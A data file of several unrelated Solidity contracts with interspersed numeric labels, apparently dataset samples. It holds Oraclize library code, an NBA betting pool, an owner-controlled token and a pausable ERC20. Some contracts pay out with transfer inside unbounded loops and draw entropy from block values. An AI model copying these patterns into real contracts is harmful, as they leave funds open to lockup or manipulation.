dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_setConfig(bytes32 config) oraclizeAPI internal { return oraclize.setConfig(config); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, "", "", ""); } function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } function stra2cbor(string[] arr) internal returns (bytes) { uint arrlen = arr.length; uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } function ba2cbor(bytes[] arr) internal returns (bytes) { uint arrlen = arr.length; uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ if ((_nbytes == 0)||(_nbytes > 32)) throw; bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes[3] memory args = [unonce, nbytes, sessionKeyHash]; bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit); oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(sha3(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(sha3(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = 1; copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) throw; _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){ bool match_ = true; for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){ delete oraclize_randomDS_args[queryId]; } else return false; bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) { uint minLength = length + toOffset; if (to.length < minLength) { throw; } uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } } contract nbagame is usingOraclize { address owner; address public creator = 0x0161C8d35f0B603c7552017fe9642523f70d7B6A; address public currentOwner = 0x0161C8d35f0B603c7552017fe9642523f70d7B6A; uint8 public constant NUM_TEAMS = 2; string[NUM_TEAMS] public TEAM_NAMES = ["Houston Rockets", "Los Angeles Clippers"]; enum TeamType { HRockets, LAClippers, None } TeamType public winningTeam = TeamType.None; uint public constant TOTAL_POOL_COMMISSION = 10; uint public constant EARLY_BET_INCENTIVE_COMMISSION = 4; uint public constant OWNER_POOL_COMMISSION = 6; uint public constant MINIMUM_BET = 0.01 ether; uint public constant BETTING_OPENS = 1519599600; uint public constant BETTING_CLOSES = 1519866300; uint public constant PAYOUT_ATTEMPT_INTERVAL = 64800; uint public constant BET_RELEASE_DATE = 1520039100; uint public constant PAYOUT_DATE = BETTING_CLOSES + PAYOUT_ATTEMPT_INTERVAL; uint public constant STAGE_ONE_BET_LIMIT = 0.2 ether; bool public payoutCompleted; bool public stage2NotReached = true; struct Bettor { uint[NUM_TEAMS] amountsBet; uint[NUM_TEAMS] amountsBetStage1; uint[NUM_TEAMS] amountsBetStage2; } mapping(address => Bettor) bettorInfo; address[] bettors; uint[NUM_TEAMS] public totalAmountsBet; uint[NUM_TEAMS] public totalAmountsBetStage1; uint[NUM_TEAMS] public totalAmountsBetStage2; uint public numberOfBets; uint public totalBetAmount; uint public contractPrice = 0.05 ether; uint private firstStepLimit = 0.1 ether; uint private secondStepLimit = 0.5 ether; event BetMade(); event ContractPurchased(); modifier canPerformPayout() { if (winningTeam != TeamType.None && !payoutCompleted && now > BETTING_CLOSES) _; } modifier bettingIsClosed() { if (now > BETTING_CLOSES) _; } modifier onlyCreatorLevel() { require( creator == msg.sender ); _; } function nbagame() public { owner = msg.sender; pingOracle(PAYOUT_DATE - now); } function triggerRelease() public onlyCreatorLevel { require(now > BET_RELEASE_DATE); releaseBets(); } function _addressNotNull(address _adr) private pure returns (bool) { return _adr != address(0); } function pingOracle(uint pingDelay) private { oraclize_query(pingDelay, "WolframAlpha", "Rockets vs Clippers February 28, 2018 Winner"); } function __callback(bytes32 queryId, string result, bytes proof) public { require(payoutCompleted == false); require(msg.sender == oraclize_cbAddress()); if (keccak256(TEAM_NAMES[0]) == keccak256(result)) { winningTeam = TeamType(0); } else if (keccak256(TEAM_NAMES[1]) == keccak256(result)) { winningTeam = TeamType(1); } if (winningTeam == TeamType.None) { if (now >= BET_RELEASE_DATE) return releaseBets(); return pingOracle(PAYOUT_ATTEMPT_INTERVAL); } performPayout(); } function getUserBets() public constant returns(uint[NUM_TEAMS]) { return bettorInfo[msg.sender].amountsBet; } function releaseBets() private { uint storedBalance = this.balance; for (uint k = 0; k < bettors.length; k++) { uint totalBet = SafeMath.add(bettorInfo[bettors[k]].amountsBet[0], bettorInfo[bettors[k]].amountsBet[1]); bettors[k].transfer(SafeMath.mul(totalBet, SafeMath.div(storedBalance, totalBetAmount))); } } function canBet() public constant returns(bool) { return (now >= BETTING_OPENS && now < BETTING_CLOSES); } function triggerPayout() public onlyCreatorLevel { pingOracle(5); } function bet(uint teamIdx) public payable { require(canBet() == true); require(TeamType(teamIdx) == TeamType.HRockets || TeamType(teamIdx) == TeamType.LAClippers); require(msg.value >= MINIMUM_BET); if (bettorInfo[msg.sender].amountsBet[0] == 0 && bettorInfo[msg.sender].amountsBet[1] == 0) bettors.push(msg.sender); if (totalAmountsBet[teamIdx] >= STAGE_ONE_BET_LIMIT) { bettorInfo[msg.sender].amountsBetStage2[teamIdx] += msg.value; totalAmountsBetStage2[teamIdx] += msg.value; } if (totalAmountsBet[teamIdx] < STAGE_ONE_BET_LIMIT) { if (SafeMath.add(totalAmountsBet[teamIdx], msg.value) <= STAGE_ONE_BET_LIMIT) { bettorInfo[msg.sender].amountsBetStage1[teamIdx] += msg.value; totalAmountsBetStage1[teamIdx] += msg.value; } else { uint amountLeft = SafeMath.sub(STAGE_ONE_BET_LIMIT, totalAmountsBet[teamIdx]); uint amountExcess = SafeMath.sub(msg.value, amountLeft); bettorInfo[msg.sender].amountsBetStage1[teamIdx] += amountLeft; bettorInfo[msg.sender].amountsBetStage2[teamIdx] += amountExcess; totalAmountsBetStage1[teamIdx] = STAGE_ONE_BET_LIMIT; totalAmountsBetStage2[teamIdx] += amountExcess; } } bettorInfo[msg.sender].amountsBet[teamIdx] += msg.value; numberOfBets++; totalBetAmount += msg.value; totalAmountsBet[teamIdx] += msg.value; BetMade(); } function performPayout() private canPerformPayout { uint losingChunk = SafeMath.sub(this.balance, totalAmountsBet[uint(winningTeam)]); uint currentOwnerPayoutCommission = uint256(SafeMath.div(SafeMath.mul(OWNER_POOL_COMMISSION, losingChunk), 100)); uint eachStageCommission = uint256(SafeMath.div(SafeMath.mul(1, losingChunk), 100)); for (uint k = 0; k < bettors.length; k++) { uint betOnWinner = bettorInfo[bettors[k]].amountsBet[uint(winningTeam)]; uint payout = betOnWinner + ((betOnWinner * (losingChunk - currentOwnerPayoutCommission - (4 * eachStageCommission))) / totalAmountsBet[uint(winningTeam)]); if (totalAmountsBetStage1[0] > 0) { uint stageOneCommissionPayoutTeam0 = ((bettorInfo[bettors[k]].amountsBetStage1[0] * eachStageCommission) / totalAmountsBetStage1[0]); payout += stageOneCommissionPayoutTeam0; } if (totalAmountsBetStage1[1] > 0) { uint stageOneCommissionPayoutTeam1 = ((bettorInfo[bettors[k]].amountsBetStage1[1] * eachStageCommission) / totalAmountsBetStage1[1]); payout += stageOneCommissionPayoutTeam1; } if (totalAmountsBetStage2[0] > 0) { uint stageTwoCommissionPayoutTeam0 = ((bettorInfo[bettors[k]].amountsBetStage2[0] * eachStageCommission) / totalAmountsBetStage2[0]); payout += stageTwoCommissionPayoutTeam0; } if (totalAmountsBetStage2[1] > 0) { uint stageTwoCommissionPayoutTeam1 = ((bettorInfo[bettors[k]].amountsBetStage2[1] * eachStageCommission) / totalAmountsBetStage2[1]); payout += stageTwoCommissionPayoutTeam1; } if (payout > 0) bettors[k].transfer(payout); } currentOwner.transfer(currentOwnerPayoutCommission); if (this.balance > 0) { creator.transfer(this.balance); stage2NotReached = true; } else { stage2NotReached = false; } payoutCompleted = true; } function buyContract() public payable { address oldOwner = currentOwner; address newOwner = msg.sender; require(newOwner != oldOwner); require(_addressNotNull(newOwner)); require(msg.value >= contractPrice); require(now < BETTING_CLOSES); uint payment = uint(SafeMath.div(SafeMath.mul(contractPrice, 94), 100)); uint purchaseExcess = uint(SafeMath.sub(msg.value, contractPrice)); uint creatorCommissionValue = uint(SafeMath.sub(contractPrice, payment)); if (contractPrice < firstStepLimit) { contractPrice = SafeMath.div(SafeMath.mul(contractPrice, 132), 94); } else if (contractPrice < secondStepLimit) { contractPrice = SafeMath.div(SafeMath.mul(contractPrice, 122), 94); } else { contractPrice = SafeMath.div(SafeMath.mul(contractPrice, 113), 94); } currentOwner = newOwner; oldOwner.transfer(payment); creator.transfer(creatorCommissionValue); ContractPurchased(); msg.sender.transfer(purchaseExcess); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0
854
pragma solidity ^0.4.16; library Math { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Token { uint256 public totalSupply; uint256 public decimals; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Cloud is Token { using Math for uint256; bool trading=false; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function transfer(address _to, uint256 _value) canTrade returns (bool success) { require(_value > 0); require(!frozenAccount[msg.sender]); require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) canTrade returns (bool success) { require(_value > 0); require(!frozenAccount[_from]); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } modifier canTrade { require(trading==true ||(canRelease==true && msg.sender==owner)); _; } function setTrade(bool allow) onlyOwner { trading=allow; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; event Invested(address investor, uint256 tokens); uint256 public employeeShare=8; address[4] employeeWallets = [0x9caeD53A6C6E91546946dD866dFD66c0aaB9f347,0xf1Df495BE71d1E5EdEbCb39D85D5F6b620aaAF47,0xa3C38bc8dD6e26eCc0D64d5B25f5ce855bb57Cd5,0x4d67a23b62399eDec07ad9c0f748D89655F0a0CB]; string public name; string public symbol; address public owner; uint256 public tokensReleased=0; bool canRelease=false; function Cloud( uint256 _initialAmount, uint256 _decimalUnits, string _tokenName, string _tokenSymbol, address ownerWallet ) { owner=ownerWallet; decimals = _decimalUnits; totalSupply = _initialAmount*(10**decimals); balances[owner] = totalSupply; name = _tokenName; symbol = _tokenSymbol; } function freezeAccount(address target, bool freeze) onlyOwner{ frozenAccount[target] = freeze; FrozenFunds(target, freeze); } modifier onlyOwner { require(msg.sender == owner); _; } function releaseTokens(bool allow) onlyOwner { canRelease=allow; } function invest(address receiver, uint256 _value) onlyOwner returns (bool success) { require(canRelease); require(_value > 0); uint256 numTokens = _value*(10**decimals); uint256 employeeTokens = 0; uint256 employeeTokenShare=0; employeeTokens = numTokens.mul(employeeShare).div(100); employeeTokenShare = employeeTokens.div(employeeWallets.length); approve(owner,employeeTokens.add(numTokens)); for(uint i = 0; i < employeeWallets.length; i++) { require(transferFrom(owner, employeeWallets[i], employeeTokenShare)); } require(transferFrom(owner, receiver, numTokens)); tokensReleased = tokensReleased.add(numTokens).add(employeeTokens.mul(4)); Invested(receiver,numTokens); return true; } }
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4,737
pragma solidity ^0.4.24; library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } contract PauserRole { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private pausers; constructor() internal { _addPauser(msg.sender); } modifier onlyPauser() { require(isPauser(msg.sender)); _; } function isPauser(address account) public view returns (bool) { return pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(msg.sender); } function _addPauser(address account) internal { pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { pausers.remove(account); emit PauserRemoved(account); } } contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; constructor() internal { _paused = false; } function paused() public view returns(bool) { return _paused; } modifier whenNotPaused() { require(!_paused); _; } modifier whenPaused() { require(_paused); _; } function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Ownable { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns(address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns(bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(value <= _allowed[from][msg.sender]); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; } function increaseAllowance( address spender, uint256 addedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _transfer(address from, address to, uint256 value) internal { require(value <= _balances[from]); require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != 0); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != 0); require(value <= _balances[account]); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _burnFrom(address account, uint256 value) internal { require(value <= _allowed[account][msg.sender]); _allowed[account][msg.sender] = _allowed[account][msg.sender].sub( value); _burn(account, value); } } contract ERC20Pausable is ERC20, Pausable { function transfer( address to, uint256 value ) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom( address from, address to, uint256 value ) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve( address spender, uint256 value ) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance( address spender, uint addedValue ) public whenNotPaused returns 